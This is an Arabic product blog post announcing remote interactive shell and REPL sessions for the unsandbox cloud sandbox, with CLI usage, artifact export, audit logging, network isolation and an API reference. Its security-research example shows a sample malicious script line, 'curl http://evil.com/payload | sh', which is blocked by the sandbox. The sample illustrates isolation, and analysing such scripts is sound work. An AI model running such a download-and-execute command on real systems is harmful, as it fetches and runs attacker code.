Console Playground
← المدونة

الجلسات البعيدة: الأوامر التفاعلية و REPLs في السحابة

في منشورنا السابق، أظهرنا كيفية نقل الملفات إلى داخل الصناديق الرملية. ولكن ماذا عن إخراج البيانات منها؟ وماذا لو كنت بحاجة إلى أكثر من تنفيذ لمرة واحدة - ماذا لو كنت بحاجة إلى جلسة تفاعلية فعلية؟

نقدم اليوم الجلسات البعيدة - أوامر تفاعلية مستمرة تعمل داخل حاويات unsandbox. فكر في الأمر كاتصال SSH بجهاز افتراضي سحابي، ولكنه مؤقت ومعزول ومع مراجعة مدمجة.

التطور: من التنفيذ إلى الجلسة

كانت واجهة API الأصلية بسيطة: أرسل الكود، احصل على المخرجات.

POST /execute → { stdout, stderr, exit_code }

هذا يعمل بشكل رائع للأتمتة، لكن المطورين أرادوا المزيد:

  • “هل يمكنني التفاعل بشكل استكشافي؟”
  • “هل يمكنني تثبيت الحزم أثناء الجلسة؟”
  • “هل يمكنني استخدام vim لتحرير الملفات؟”
  • “هل يمكنني الحصول على Python REPL بدلاً من bash؟”
  • “هل يمكنني تصدير الملفات التي أنشأتها؟”

الإجابة على كل هذه الأسئلة الآن هي نعم.

النقل الآني يعمل في كلا الاتجاهين

تذكر نقل الملفات الآني؟ تذهب الملفات إلى داخل الصناديق الرملية عبر /tmp/input/. الآن يمكنها الخروج عبر /tmp/artifacts/.

┌─────────────────────────────────────────────────────────────────┐
│                        Your Machine                              │
└─────────────────────────────────────────────────────────────────┘
          │                                       ▲
          │ un session                            │ Artifacts
          │ un script.py -f data.csv              │ (on exit)
          ▼                                       │
┌─────────────────────────────────────────────────────────────────┐
│                     unsandbox Container                          │
│                                                                  │
│   /tmp/input/          Your Code           /tmp/artifacts/       │
│   ├─ data.csv    ───►  Processes    ───►   ├─ results.csv       │
│   └─ config.json       Files               ├─ model.pkl         │
│                                            └─ report.pdf        │
└─────────────────────────────────────────────────────────────────┘

النقل الآني ثنائي الاتجاه:

  1. الوارد - الملفات التي ترسلها تصل إلى /tmp/input/
  2. الصادر - الملفات التي تنشئها في /tmp/artifacts/ تعود إليك

أداة un CLI: بوابتك إلى الصناديق الرملية البعيدة

قمنا ببناء أداة CLI أصلية تجعل التنفيذ البعيد يبدو محلياً:

تنفيذ سكريبت

# تشغيل سكريبت Python
un script.py

# مع ملفات الإدخال (المنقولة آنياً)
un -f data.csv -f config.json process.py

# إرجاع المصنوعات المجمعة
un -a -o ./bin main.c

العلامة -a تخبر unsandbox بجمع أي شيء تضعه في /tmp/artifacts/ وإرساله مرة أخرى. مثالي لـ:

  • الملفات التنفيذية المجمعة من C/Rust/Go
  • التقارير المولدة (PDF، CSV)
  • نماذج التعلم الآلي المدربة
  • الصور المعالجة

الجلسات التفاعلية

# بدء جلسة bash تفاعلية
un session

# اختر الأمر الخاص بك
un session --shell zsh
un session --shell fish

# أو انتقل مباشرة إلى REPL
un session --shell python3
un session --shell node
un session --shell julia

ما تحصل عليه:

  • PTY كامل مع الألوان ووضع المؤشر
  • إكمال تلقائي بالضغط على Tab
  • السجل (مفاتيح الأسهم تعمل)
  • دعم تغيير الحجم (vim/nano يعملان فقط)
  • tmux من الأسفل (الجلسات تستمر خلال انقطاع الاتصال)

الأوامر و REPLs المتاحة

نحن ندعم أكثر من 30 أمراً و REPL:

الأوامر التقليدية:

bash, dash, sh, zsh, fish, ksh, tcsh, csh, elvish, xonsh, ash

REPLs اللغات:

python3, bpython, ipython     # Python
node                          # JavaScript
ruby, irb                     # Ruby
lua                           # Lua
php                           # PHP
perl                          # Perl
guile, scheme                 # Scheme
ghci                          # Haskell
erl, iex                      # Erlang/Elixir
sbcl, clisp                   # Common Lisp
r                             # R
julia                         # Julia
clojure                       # Clojure

مثال: Python REPL في السحابة

$ un session --shell python3
Connecting to unsandbox... done
>>> import numpy as np
>>> np.random.seed(42)
>>> np.random.randn(3, 3)
array([[ 0.49671415, -0.1382643 ,  0.64768854],
       [ 1.52302986, -0.23415337, -0.23413696],
       [ 1.57921282,  0.76743473, -0.46947439]])
>>> exit()
Session ended.

استمرارية الجلسة: اختيارك

بشكل افتراضي، الجلسات مؤقتة - عندما تقطع الاتصال، يتم تدمير الحاوية فوراً. هذا هو الخيار الأكثر أماناً: خروج نظيف، لا موارد متروكة.

لكن أحياناً تحتاج إلى الاستمرارية. استخدم --tmux أو --screen لتمكين دعم إعادة الاتصال:

# الافتراضي: تنتهي الجلسة عند قطع الاتصال (خروج نظيف)
$ un session
root@unsb-vm-12345:~$ exit
Session ended.

# مع --tmux: تستمر الجلسة، يمكن إعادة الاتصال لاحقاً
$ un session --tmux
root@unsb-vm-12345:~$ # اضغط Ctrl+b ثم d للفصل
Session detached. Reconnect with: un session --attach unsb-vm-12345

مقارنة سلوك الجلسة

الوضع عند قطع الاتصال عند الخروج حالة الاستخدام
الافتراضي تدمير الحاوية تدمير الحاوية مهام سريعة، لوحة نظيفة
--tmux تستمر الجلسة تدمير الحاوية عمل طويل الأمد، يشبه SSH
--screen تستمر الجلسة تدمير الحاوية بديل لـ tmux

إدارة الجلسات المستمرة

# سرد جميع جلساتك النشطة
$ un session --list
Active sessions: 2

SESSION ID                               CONTAINER            SHELL      TTL      STATUS
abc123...                                unsb-vm-56789        bash       58m30s   active
def456...                                unsb-vm-56790        python3    45m12s   active

# إعادة الاتصال باسم الحاوية (أسهل للتذكر)
$ un session --attach unsb-vm-56789
Reconnecting to session abc123... done
root@unsb-vm-56789:~$ echo "still here!"
still here!

# أو إنهاء جلسة عن بعد
$ un session --kill unsb-vm-56789
Terminating session abc123... done
Session terminated successfully

الفصل من tmux/screen:

  • tmux: اضغط Ctrl+b ثم d
  • screen: اضغط Ctrl+a ثم d

مهم: إذا كنت تشغل un داخل جلسة tmux محلية، استخدم --screen بدلاً من ذلك لتجنب تعارضات اختصارات لوحة المفاتيح.

استخراج المصنوعات: احصل على بياناتك

أي شيء تضعه في /tmp/artifacts/ يتم جمعه عندما تنتهي الجلسة:

$ un session -a -o ./outputs
Connecting to unsandbox... done
root@sandbox:~$ python3 -c "
import json
with open('/tmp/artifacts/results.json', 'w') as f:
    json.dump({'answer': 42}, f)
"
root@sandbox:~$ echo "hello" > /tmp/artifacts/notes.txt
root@sandbox:~$ exit
Session ended.
Artifact saved: results-sandbox-abc123.json (16 bytes)
Artifact saved: notes-sandbox-abc123.txt (6 bytes)

ميزات المصنوعات:

  • يتم جمعها تلقائياً عند انتهاء الجلسة
  • مُلحقة باسم الحاوية (لا تداخل عبر الجلسات)
  • تعمل مع الملفات الثنائية (الصور، الملفات التنفيذية، الأرشيفات)
  • الملفات الفارغة مدعومة (لملفات العلامات)

المراجعة: تسجيل كل شيء

للامتثال، أو تصحيح الأخطاء، أو مجرد الفضول، قم بتمكين التسجيل الكامل للجلسة:

$ un session --audit -o ./logs
Connecting to unsandbox... done
root@sandbox:~$ vim test.py   # تم تسجيل جلسة vim الكاملة
root@sandbox:~$ python3 test.py
Hello, world!
root@sandbox:~$ exit
Session ended.
Artifact saved: session.log-sandbox-abc123.gz (45678 bytes)
Artifact saved: bash_history-sandbox-abc123 (234 bytes)
Tip: Replay session with: zcat session.log*.gz | less -R

ما يتم تسجيله:

الوضع ما يتم التقاطه الحجم
--audit عند الإنشاء إدخال/إخراج الطرفية الكامل (كل ضغطة مفتاح، كل إخراج) ~1-5 ميجابايت/جلسة
--audit عند الإنهاء فقط bash_history (الأوامر فقط) ~1 كيلوبايت
كلاهما كل شيء كلا الملفين

يحتوي session.log على:

  • جميع الأحرف المرسلة إلى الطرفية (بما في ذلك أكواد الهروب)
  • جلسات vim/nano الكاملة مع حركات المؤشر
  • إخراج Python/Node التفاعلي
  • الألوان، التنسيق، كل شيء

إعادة التشغيل مع:

# عرض التسجيل
zcat session.log-sandbox-abc123.gz | less -R

# أو استخدم scriptreplay لإعادة التشغيل في الوقت الفعلي (إذا تم التقاط التوقيت)
scriptreplay -t timing.log -s session.log

الأمان: نفس نموذج الثقة الصفرية

تحافظ الجلسات على جميع ضمانات الأمان لدينا:

عزل الشبكة:

root@sandbox:~$ curl google.com
curl: (6) Could not resolve host: google.com
root@sandbox:~$ ping 8.8.8.8
ping: connect: Network is unreachable

ما لم تطلب صراحة الوصول إلى الشبكة:

un session -n semitrusted   # تمكين شبكة الصادر

مؤقت بالتصميم:

  • تدمير الحاوية عند exit
  • لا استمرارية بين الجلسات
  • كل جلسة معزولة تماماً

حدود الموارد:

  • الذاكرة: محددة لكل حاوية
  • المعالج: جدولة حصة عادلة
  • القرص: tmpfs مع حدود الحجم
  • الوقت: تنظيف تلقائي بعد انتهاء المهلة

مرجع API

إنشاء جلسة

POST /sessions
{
  "network_mode": "zerotrust",  # or "semitrusted"
  "ttl": 3600,                  # seconds (max 86400)
  "shell": "bash",              # see supported list
  "audit": true,                # enable session recording
  "multiplexer": "tmux"         # or "screen", or omit for none
}

Response:
{
  "session_id": "abc123...",
  "container_name": "unsb-vm-12345",
  "multiplexer": "tmux",
  "websocket_url": "/sessions/abc123/shell"
}

سلوك Multiplexer:

  • محذوف/null: تنتهي الجلسة فوراً عند قطع اتصال WebSocket
  • “tmux”: تستمر الجلسة عبر tmux، أعد الاتصال بنفس نقطة نهاية WebSocket
  • “screen”: تستمر الجلسة عبر GNU screen، أعد الاتصال بنفس نقطة نهاية WebSocket

الاتصال عبر WebSocket

WSS /sessions/:id/shell

Binary frames → stdin
Binary frames ← stdout
JSON frames ← control (ready, exit, error)

الإنهاء والحصول على المصنوعات

DELETE /sessions/:id?audit=1

Response:
{
  "success": true,
  "artifacts": [
    {"filename": "results.json", "content_base64": "..."},
    {"filename": "session.log.gz", "content_base64": "..."}
  ]
}

حالات الاستخدام الواقعية

1. جلسات البرمجة بواسطة AI Agent

امنح وكيل AI الخاص بك بيئة مستمرة:

# Agent creates session
session = unsandbox.create_session(shell="python3")

# Agent works interactively
session.send("import pandas as pd\n")
session.send("df = pd.read_csv('/tmp/input/data.csv')\n")
session.send("df.to_csv('/tmp/artifacts/processed.csv')\n")

# Get results
artifacts = session.terminate(audit=True)
# → processed.csv + session.log.gz for review

2. بيئة التطوير البعيدة

هل تحتاج إلى بيئة نظيفة للاختبار؟

# بدء جلسة مع شبكة لتثبيت الحزم
un session -n semitrusted --shell bash

# تثبيت ما تحتاجه
root@sandbox:~$ pip install pytorch transformers
root@sandbox:~$ npm install -g typescript

# قم بعملك
root@sandbox:~$ python train.py
root@sandbox:~$ cp model.pt /tmp/artifacts/

# الخروج والحصول على نموذجك
root@sandbox:~$ exit
Artifact saved: model-sandbox-xyz.pt (150MB)

3. البحث الأمني

تحليل السكريبتات المشبوهة بأمان:

un session --audit -o ./analysis
root@sandbox:~$ cat /tmp/input/suspicious.sh
#!/bin/bash
curl http://evil.com/payload | sh  # Can't reach evil.com!

root@sandbox:~$ bash /tmp/input/suspicious.sh
curl: (6) Could not resolve host: evil.com

root@sandbox:~$ exit
# Full session recorded for analysis

4. التعليم والدروس

يحصل الطلاب على بيئاتهم المعزولة الخاصة:

# يشغل الطالب
un session --shell python3

>>> # Follow along with the tutorial
>>> import matplotlib.pyplot as plt
>>> plt.plot([1, 2, 3], [1, 4, 9])
>>> plt.savefig('/tmp/artifacts/plot.png')
>>> exit()

# يحصل الطالب على رسمه البياني
Artifact saved: plot-sandbox-xyz.png (12KB)

مرجع CLI السريع

# تنفيذ السكريبتات
un script.py                       # Execute Python script
un -e DEBUG=1 script.py            # With environment variable
un -f data.csv process.py          # With input file
un -a -o ./bin main.c              # Save compiled artifacts

# الجلسات التفاعلية
un session                         # Bash shell (terminates on disconnect)
un session --tmux                  # Bash with tmux (can reconnect)
un session --screen                # Bash with screen (can reconnect)
un session --shell python3         # Python REPL
un session --shell node --tmux     # Node.js REPL with reconnect
un session -n semitrusted          # Session with network access

# إدارة الجلسات
un session --list                  # List active sessions
un session --attach unsb-vm-12345  # Reconnect by container name
un session --kill unsb-vm-12345    # Terminate a session

# المراجعة والمصنوعات
un session --audit -o ./logs       # Record session for auditing
un session -a -o ./out             # Save /tmp/artifacts/ to ./out

ما التالي؟

نحن نعمل على:

  • مشاركة الجلسة - مستخدمون متعددون في نفس الجلسة
  • التخزين المستمر - تركيبات الأحجام الاختيارية
  • الوصول إلى GPU - حاويات ممكّنة بـ CUDA
  • صور مخصصة - أحضر حاويتك الخاصة

جربها الآن

  1. احصل على CLI:

    # Download from releases or build from source
    curl -L https://unsandbox.com/cli/un -o un
    chmod +x un
  2. اضبط مفتاح API الخاص بك:

    export UNSANDBOX_API_KEY=your_key_here
  3. ابدأ جلسة:

    un session --shell python3

مرحباً بك في صندوقك الرملي السحابي. ماذا ستبني؟